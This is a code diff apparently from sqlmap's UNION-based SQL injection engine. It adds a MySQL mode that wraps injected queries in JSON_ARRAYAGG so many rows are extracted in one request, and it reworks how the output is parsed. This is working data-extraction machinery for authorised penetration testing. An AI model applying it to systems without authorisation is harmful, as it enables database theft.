66"""
77
88import binascii
9+ import json
910import re
1011import time
1112import xml .etree .ElementTree
@@ -74,7 +75,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
7475 if retVal is None :
7576 vector = kb .injection .data [PAYLOAD .TECHNIQUE .UNION ].vector
7677
77- if not kb .rowXmlMode :
78+ if not any (( kb .rowXmlMode , kb . jsonAggMode )) :
7879 injExpression = unescaper .escape (agent .concatQuery (expression , unpack ))
7980 kb .unionDuplicates = vector [7 ]
8081 kb .forcePartialUnion = vector [8 ]
@@ -99,24 +100,8 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
99100
100101 incrementCounter (PAYLOAD .TECHNIQUE .UNION )
101102
102- if not kb .rowXmlMode :
103- # Parse the returned page to get the exact UNION-based
104- # SQL injection output
105- def _ (regex ):
106- return firstNotNone (
107- extractRegexResult (regex , removeReflectiveValues (page , payload ), re .DOTALL | re .IGNORECASE ),
108- extractRegexResult (regex , removeReflectiveValues (listToStrValue ((_ for _ in headers .headers if not _ .startswith (HTTP_HEADER .URI )) if headers else None ), payload , True ), re .DOTALL | re .IGNORECASE )
109- )
110-
111- # Automatically patching last char trimming cases
112- if kb .chars .stop not in (page or "" ) and kb .chars .stop [:- 1 ] in (page or "" ):
113- warnMsg = "automatically patching output having last char trimmed"
114- singleTimeWarnMessage (warnMsg )
115- page = page .replace (kb .chars .stop [:- 1 ], kb .chars .stop )
116-
117- retVal = _ ("(?P<result>%s.*%s)" % (kb .chars .start , kb .chars .stop ))
118- else :
119- output = extractRegexResult (r"(?P<result>(<row.+?/>)+)" , page )
103+ if kb .rowXmlMode :
104+ output = extractRegexResult (r"(?P<result>(<row.+?/>)+)" , page or "" )
120105 if output :
121106 try :
122107 root = xml .etree .ElementTree .fromstring (safeStringFormat ("<root>%s</root>" , getBytes (output )))
@@ -149,6 +134,28 @@ def _(regex):
149134 pass
150135 else :
151136 retVal = getUnicode (retVal )
137+ elif kb .jsonAggMode :
138+ output = extractRegexResult (r"(?P<result>%s.*?%s)" % (kb .chars .start , kb .chars .stop ), page or "" )
139+ if output :
140+ retVal = ""
141+ for row in json .loads (output [len (kb .chars .start ):- len (kb .chars .stop )]):
142+ retVal += "%s%s%s" % (kb .chars .start , row , kb .chars .stop )
143+ else :
144+ # Parse the returned page to get the exact UNION-based
145+ # SQL injection output
146+ def _ (regex ):
147+ return firstNotNone (
148+ extractRegexResult (regex , removeReflectiveValues (page , payload ), re .DOTALL | re .IGNORECASE ),
149+ extractRegexResult (regex , removeReflectiveValues (listToStrValue ((_ for _ in headers .headers if not _ .startswith (HTTP_HEADER .URI )) if headers else None ), payload , True ), re .DOTALL | re .IGNORECASE )
150+ )
151+
152+ # Automatically patching last char trimming cases
153+ if kb .chars .stop not in (page or "" ) and kb .chars .stop [:- 1 ] in (page or "" ):
154+ warnMsg = "automatically patching output having last char trimmed"
155+ singleTimeWarnMessage (warnMsg )
156+ page = page .replace (kb .chars .stop [:- 1 ], kb .chars .stop )
157+
158+ retVal = _ ("(?P<result>%s.*%s)" % (kb .chars .start , kb .chars .stop ))
152159
153160 if retVal is not None :
154161 retVal = getUnicode (retVal , kb .pageEncoding )
@@ -159,7 +166,7 @@ def _(regex):
159166
160167 hashDBWrite ("%s%s" % (conf .hexConvert or False , expression ), retVal )
161168
162- elif not kb .rowXmlMode :
169+ elif not any (( kb .rowXmlMode , kb . jsonAggMode )) :
163170 trimmed = _ ("%s(?P<result>.*?)<" % (kb .chars .start ))
164171
165172 if trimmed :
@@ -236,7 +243,15 @@ def unionUse(expression, unpack=True, dump=False):
236243 # Set kb.partRun in case the engine is called from the API
237244 kb .partRun = getPartRun (alias = False ) if conf .api else None
238245
239- if Backend .isDbms (DBMS .MSSQL ) and kb .dumpColumns :
246+ if Backend .isDbms (DBMS .MYSQL ) and expressionFields :
247+ match = re .search (r"SELECT\s*(.+?)\bFROM" , expression , re .I )
248+ if match :
249+ kb .jsonAggMode = True
250+ _ = expression .replace (expressionFields , "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb .chars .start , kb .chars .delimiter , expressionFields , kb .chars .stop ), 1 )
251+ output = _oneShotUnionUse (_ , False )
252+ value = parseUnionPage (output )
253+ kb .jsonAggMode = False
254+ elif Backend .isDbms (DBMS .MSSQL ) and kb .dumpColumns :
240255 kb .rowXmlMode = True
241256 _ = "(%s FOR XML RAW, BINARY BASE64)" % expression
242257 output = _oneShotUnionUse (_ , False )
0 commit comments